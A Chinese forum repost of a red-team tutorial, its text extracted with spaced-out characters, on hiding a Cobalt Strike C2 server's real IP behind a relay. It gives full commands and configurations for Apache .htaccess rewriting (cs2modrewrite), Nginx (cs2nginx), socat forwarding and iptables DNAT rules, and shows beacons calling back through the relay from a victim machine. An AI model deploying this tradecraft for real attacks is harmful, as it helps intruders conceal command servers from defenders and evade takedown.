搜索

[393] 2021-05-27_CS使用请求转发隐藏真实IP

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2021-05-27_CS使用请求转发隐藏真实IP C S 使 用 请 求 转 发 隐 藏 真 实 I P 原 创   a F a 攻 防 实 验 室   a F a 攻 防 实 验 室   2 0 2 1 - 0 5 - 2 7 收 录 于 话 题   # R e d T e a m   , 5 个 前 言 前 言 隐 藏 真 实 I P 除 了 之 前 记 录 的 C D N 和 域 前 置 外 ， 请 求 转 发 也 属 于 其 中 的 一 种 ， 即 B e a c o n 的 通 信 地 址 是 一 台 中 转 机 器 ， 该 中 转 机 会 将 收 到 的 相 关 请 求 转 发 给 我 们 的 C 2 服 务 器 ， 从 而 达 到 C 2 I P 隐 藏 的 目 的 ， 也 可 以 叫 它 端 口 转 发 ， 类 似 于 下 面 这 个 图 ： 可 以 用 来 做 请 求 转 发 的 软 件 有 很 多 ， 比 如 说 A p a c h e 、 N g i n x 、 S o c a t 以 及 系 统 自 带 的 I P t a b l e s 等 等 。 A p a c h e . h t a c c e s s 是 A p a c h e 的 一 个 配 置 文 件 ， 可 用 来 配 置 3 0 1 重 定 向 、 4 0 4 错 误 页 面 、 改 变 扩 展 名 、 禁 用 目 录 列 表 等 等 ， 这 里 我 们 使 用 . h t a c c e s s 来 进 行 请 求 转 发 。 这 里 需 要 两 台 机 器 ， 如 果 没 有 公 网 机 器 ， 则 测 试 的 时 候 虚 拟 机 也 可 以 ， 首 先 中 转 服 务 器 上 要 安 装 a p a c h e ， 这 里 是 u b u n t u 相 关 命 令 如 下 ： #   安 装 a p a c h e s u d o   a p t   i n s t a l l   a p a c h e 2 #   利 用 a p a c h e 的 a 2 e n m o d 命 令 工 具 ， 来 启 用 相 关 的 模 块 s u d o   a 2 e n m o d   r e w r i t e   h e a d e r s   p r o x y   p r o x y _ h t t p   s s l   c a c h e
然 后 配 置 a p a c h e 2 . c o n f ， 默 认 位 置 在 / e t c / a p a c h e 2 / a p a c h e 2 . c o n f ， 找 到 下 面 这 段 内 容 ： 将 其 修 改 为 下 面 这 段 ： a p a c h e 安 装 并 配 置 好 后 ， 进 行 重 启 ： 此 时 相 关 配 置 就 完 成 了 ， 接 下 来 我 们 需 要 编 写 相 关 的 . h t a c c e s s 文 件 ， 这 里 我 们 可 以 直 接 使 用 脚 本 生 成 ， 脚 本 地 址 如 下 ： 使 用 脚 本 生 成 . h t a c c e s s 文 件 的 相 关 命 令 ： #   利 用 a p a c h e 的 a 2 d i s m o d 命 令 工 具 ， 来 禁 用 相 关 的 模 块 s u d o   a 2 d i s m o d   - f   d e f l a t e #   a p a c h e 下 有 多 个 站 点 时 ， 通 过 a 2 e n s i t e 可 激 活 站 点 s u d o   a 2 e n s i t e   d e f a u l t - s s l #   a p a c h e 下 有 多 个 站 点 时 ， 通 过 a 2 d i s s i t e 可 屏 蔽 站 点 s u d o   a 2 d i s s i t e   0 0 0 - d e f a u l t #   站 点 的 激 活 和 屏 蔽 需 要 r e l o a d 来 使 配 置 生 效 s u d o   s e r v i c e   a p a c h e 2   r e l o a d #   / v a r / w w w 为 站 点 目 录 位 置 < D i r e c t o r y   / v a r / w w w >                 O p t i o n s   I n d e x e s   F o l l o w S y m L i n k s                 #   A l l o w O v e r r i d e 用 来 指 明 是 否 去 找 . h t a c c e s s 文 件 ， n o n e 为 忽 略 ， a l l 则 . h t a c c e s s 中 所 有 指 令 会 生 效 重 写                 A l l o w O v e r r i d e   N o n e                 R e q u i r e   a l l   g r a n t e d < / D i r e c t o r y > #   改 动 1 ： 改 变 下 站 点 目 录 < D i r e c t o r y   / v a r / w w w / h t m l >                 O p t i o n s   I n d e x e s   F o l l o w S y m L i n k s                 #   改 动 2 ： 属 性 设 置 为 A l l ， 使 . h t a c c e s s 文 件 生 效                 A l l o w O v e r r i d e   A l l                 R e q u i r e   a l l   g r a n t e d < / D i r e c t o r y > # 改 动 3 ： 添 加 相 关 配 置 #   . h t a c c e s s 无 法 配 置 日 志 ， 这 里 配 置 日 志 记 录 等 级 L o g L e v e l   a l e r t   r e w r i t e : t r a c e 5 #   下 面 的 内 容 可 以 不 配 置 ， 但 如 果 要 通 过 h t t p s 上 线 ， 则 必 须 配 置 S S L P r o x y E n g i n e   O n S S L P r o x y V e r i f y   n o n e S S L P r o x y C h e c k P e e r C N   o f f S S L P r o x y C h e c k P e e r N a m e   o f f S S L P r o x y C h e c k P e e r E x p i r e   o f f s u d o   s e r v i c e   a p a c h e 2   r e s t a r t h t t p s : / / g i t h u b . c o m / t h r e a t e x p r e s s / c s 2 m o d r e w r i t e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / t h r e a t e x p r e s s / c s 2 m o d r e w r i t e c d   c s 2 m o d r e w r i t e #   i 指 定 C S 使 用 的 配 置 文 件 ， c 指 定 C 2 服 务 器 的 地 址 和 端 口 ， r 指 定 一 个 地 址 ， 该 地 址 不 能 和 C 2 配 置 文 件 中 的 U R I 一 样 ， 否 则 不 会 重 定 向 p y t h o n 3   c s 2 m o d r e w r i t e . p y   - i   a m a z o n . p r o f i l e   - c   h t t p : / / t e a m s e r v e r : p o r t   - r   h t t p s : / / w w w . b a i d u . c o m   >   / v a r / w w w / h t m l / . h t a c c e s s
C S 监 听 相 关 配 置 如 下 ： 随 后 生 成 马 可 成 功 上 线 ： 上 线 后 我 们 可 以 在 中 转 服 务 器 上 访 问 a p a c h e 的 日 志 ， 可 以 看 到 2 2 1 这 个 i p 是 我 靶 机 的 i p 地 址 ， C S 马 访 问 到 了 中 转 服 务 器 。 在 受 害 机 上 进 行 抓 包 ， 通 信 地 址 是 4 5 开 头 的 中 转 服 务 器 ， 追 踪 流 的 h o s t 为 a m a z o n 。 p y t h o n 3   c s 2 m o d r e w r i t e . p y   - i   a m a z o n . p r o f i l e   - c   h t t p : / / t e a m s e r v e r : p o r t   - r   h t t p s : / / w w w . b a i d u . c o m   >   / v a r / w w w / h t m l / . h t a c c e s s
再 看 一 下 h t t p s 上 线 的 情 况 ， 首 先 需 要 保 证 之 前 说 的 a p a c h e . c o n f 中 配 置 了 相 关 的 S S L ， 然 后 生 成 相 关 的 . h t a c c e s s ， 命 令 如 下 ： 注 意 ， c 参 数 跟 的 C 2 服 务 器 i p 使 用 的 是 h t t p s ， 这 时 C S 的 监 听 配 置 如 下 ： 上 线 后 通 过 抓 包 可 以 看 到 ， 通 信 地 址 是 中 转 服 务 器 ， 端 口 为 4 4 3 ： p y t h o n 3   c s 2 m o d r e w r i t e . p y   - i   . . / a m a z o n . p r o f i l e   - c   h t t p s : / / t e a m s e r v e r : p o r t   - r   h t t p s : / / w w w . b a i d u . c o m   >   / v a r / w w w / h t m l / . h t a c c e s s
最 后 还 有 个 问 题 是 ， C S 上 线 后 ， I P 地 址 显 示 的 是 我 们 中 转 服 务 器 的 I P ， 如 果 想 显 示 目 标 机 的 I P 地 址 ， 则 需 要 在 C 2   p r o f i l e 中 配 置 如 下 内 容 ： N g i n x N g i n x 和 A p a c h e 的 配 置 类 似 ， 原 理 基 本 一 样 ， 首 先 下 载 n g i n x ， 命 令 如 下 ： 安 装 后 生 成 n g i n x . c o n f 配 置 文 件 ， 该 文 件 用 来 配 置 请 求 转 发 ， 还 是 用 脚 本 生 成 ， 这 次 使 用 的 是 c s 2 n g i n x ， 命 令 如 下 ： 参 数 和 a p a c h e 那 个 作 用 一 样 ， 这 里 多 了 一 个 H 参 数 ， 该 参 数 用 来 指 定 代 理 主 机 的 域 名 ， 域 名 随 意 指 定 ， 然 后 需 要 在 h o s t s 中 配 置 该 域 名 i p 为 本 机 i p 。 例 如 我 中 转 服 务 器 i p 是 1 . 1 . 1 . 1 ， 运 行 上 面 命 令 H 指 定 的 是 k a l i . c o m ， 那 么 我 就 需 要 在 / e t c / h o s t s 中 添 加 一 行 ， 内 容 为 ： 这 个 H 在 n g i n x 中 用 来 指 定 h o s t n a m e ， 也 就 是 把 i p 绑 定 到 域 名 上 ， 通 过 域 名 来 访 问 项 目 ， 如 果 不 加 H 参 数 脚 本 会 报 错 ， 提 示 必 须 添 加 。 最 后 重 启 n g i n x 即 可 ， 此 时 C S 的 监 听 配 置 和 a p a c h e 一 样 ， 可 以 成 功 上 线 ： 在 中 转 服 务 器 上 查 看 n g i n x 的 访 问 记 录 ， 是 由 目 标 机 转 发 到 C 2 的 记 录 ， 如 下 图 ： h t t p - c o n f i g   {         s e t   t r u s t _ x _ f o r w a r d e d _ f o r   " t r u e " ； } a p t   i n s t a l l   n g i n x   n g i n x - e x t r a s p y t h o n   c s 2 n g i n x . p y   - i   a m a z o n . p r o f i l e   - c   h t t p : / / t e a m s e r v e r : p o r t   - r   h t t p s : / / w w w . b a i d u . c o m   - H   k a l i . c o m   >   / e t c / n g i n x / n g i n x . c o n f 1 . 1 . 1 . 1         k a l i . c o m
h t t p s 的 则 需 要 绑 定 个 域 名 ， 也 就 是 上 面 脚 本 H 参 数 指 定 的 那 个 域 名 ， 绑 定 到 中 转 服 务 器 ， 实 现 真 正 的 解 析 ， 而 不 是 上 面 那 样 h o s t s 解 析 。 绑 定 后 给 域 名 申 请 个 s s l 证 书 即 可 。 具 体 这 里 就 不 演 示 了 ， a l i 的 可 参 考 下 面 第 一 篇 文 章 ， 讲 解 了 s s l 申 请 以 及 n g i n x 的 配 置 ， 如 果 域 名 在 其 它 厂 商 ， 没 有 免 费 s s l 的 ， 则 可 以 使 用 f r e e s s l ， 绑 定 了 域 名 配 置 了 s s l 后 ， 就 可 以 c s 上 线 了 ， 和 a p a c h e 是 一 样 的 。 最 后 还 是 关 于 上 线 显 示 中 转 服 务 器 I P 的 问 题 ， 配 置 方 法 和 a p a c h e 一 样 ， 见 a p a c h e 章 节 。 S o c a t s o c a t 工 具 就 不 多 介 绍 了 ， 用 来 进 行 端 口 间 流 量 转 发 ， 只 需 要 一 条 命 令 就 可 以 搞 定 ， 命 令 如 下 ： T C P 4 - L I S T E N 代 表 监 听 本 机 I P V 4 上 的 指 定 端 口 ， 然 后 逗 号 跟 属 性 配 置 ， 这 里 跟 了 一 个 f o r k ， f o r k 代 表 不 同 客 户 端 连 接 会 分 支 出 来 不 同 的 进 程 ， 随 后 跟 要 转 发 的 服 务 器 I P 和 端 口 ， I P V 4 就 需 要 使 用 T C P 4 来 指 定 。 创 建 监 听 如 下 ： h t t p s : / / w w w . c n b l o g s . c o m / z h o u d a w e i / p / 9 2 5 7 2 7 6 . h t m l h t t p s : / / m y . o s c h i n a . n e t / q i n g q i n g d e g o / b l o g / 3 0 2 5 5 2 6 s o c a t   T C P 4 - L I S T E N : 8 0 , f o r k   T C P 4 : C 2 I P : 8 8 8 8
也 可 以 成 功 上 线 ， 不 过 I P 显 示 的 是 中 转 服 务 器 I P ， 不 想 a p a c h e 和 n g i n x 可 以 通 过 配 置 文 件 来 修 改 。 I P T a b l e s 相 关 命 令 解 释 可 参 考 ： 运 行 如 下 图 ： i p t a b l e s   - I   I N P U T   - p   t c p   - m   t c p   - - d p o r t   8 0   - j   A C C E P T i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - - d p o r t   8 0   - j   D N A T   - - t o - d e s t i n a t i o n   c 2   i p : c 2   p o r t i p t a b l e s   - t   n a t   - A   P O S T R O U T I N G   - j   M A S Q U E R A D E i p t a b l e s   - I   F O R W A R D   - j   A C C E P T i p t a b l e s   - P   F O R W A R D   A C C E P T s y s c t l   n e t . i p v 4 . i p _ f o r w a r d = 1 h t t p s : / / w a n g c h u j i a n g . c o m / l i n u x - c o m m a n d / c / i p t a b l e s . h t m l
C S 监 听 创 建 还 是 原 来 的 没 有 变 化 ： 此 时 可 通 过 i p t a b l e s 转 发 上 线 ： 如 果 想 要 查 看 通 过 i p t a b l e s 的 数 据 包 ， 则 可 以 进 行 如 下 配 置 ：
v i m 修 改 / e t c / s y s l o g . c o n f ， 添 加 如 下 内 容 ： 重 启 s y s l o g 服 务 ： 这 时 相 关 记 录 就 会 记 录 在 v a r / l o g / s y s l o g 中 ， 查 看 该 文 件 ， 其 中 1 2 3 是 受 害 机 i p ， 4 5 为 中 转 服 务 器 i p ： 总 结 总 结 重 定 向 隐 藏 I P 原 理 在 于 先 访 问 中 转 服 务 器 ， 再 由 中 转 服 务 器 转 发 到 C 2 上 ， 而 可 以 实 现 这 个 功 能 的 软 件 有 很 多 ， 像 上 面 提 到 的 中 间 件 A p a c h e 、 N g i n x ， 软 件 S o c a t ， 自 带 工 具 I P T a b l e s 等 等 。 这 种 方 法 优 点 在 于 成 本 低 ， 部 署 简 单 ， 且 一 些 中 间 件 也 支 持 H T T P S 通 信 ， 可 以 达 到 隐 藏 I P 的 目 的 ， 但 相 对 也 有 一 些 缺 点 ， 不 过 不 要 紧 ， 比 如 说 中 转 服 务 器 不 是 很 重 要 ， 但 是 也 不 是 傀 儡 机 ， 而 是 自 己 的 一 台 临 时 服 务 器 ， 那 么 这 个 临 时 服 务 器 就 暴 露 了 。 另 外 如 果 中 转 服 务 器 被 拿 下 的 话 ， 那 么 搜 集 信 息 很 可 能 就 可 以 发 现 请 求 重 定 向 的 痕 迹 ， 从 而 找 到 真 实 C 2 地 址 。 请 求 重 定 向 也 可 以 和 之 前 的 C D N 方 法 相 结 合 ， 之 前 C D N 方 法 是 通 过 C D N 将 请 求 转 发 到 真 实 的 C 2 服 务 器 上 ， 而 添 加 请 求 重 定 向 后 ， 流 程 就 变 为 了 C D N 转 发 到 中 转 服 务 器 ， 中 转 服 务 器 再 转 到 C 2 ， 达 到 双 重 隐 藏 的 效 果 。 i p t a b l e s   - t   m a n g l e   - A   P O S T R O U T I N G   - j   L O G   - - l o g - l e v e l   d e b u g   - - l o g - p r e f i x   " O U T   P A C K E T S : " k e r n . d e b u g   / v a r / l o g / i p t a b l e s s e r v i c e   r s y s l o g   r e s t a r t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理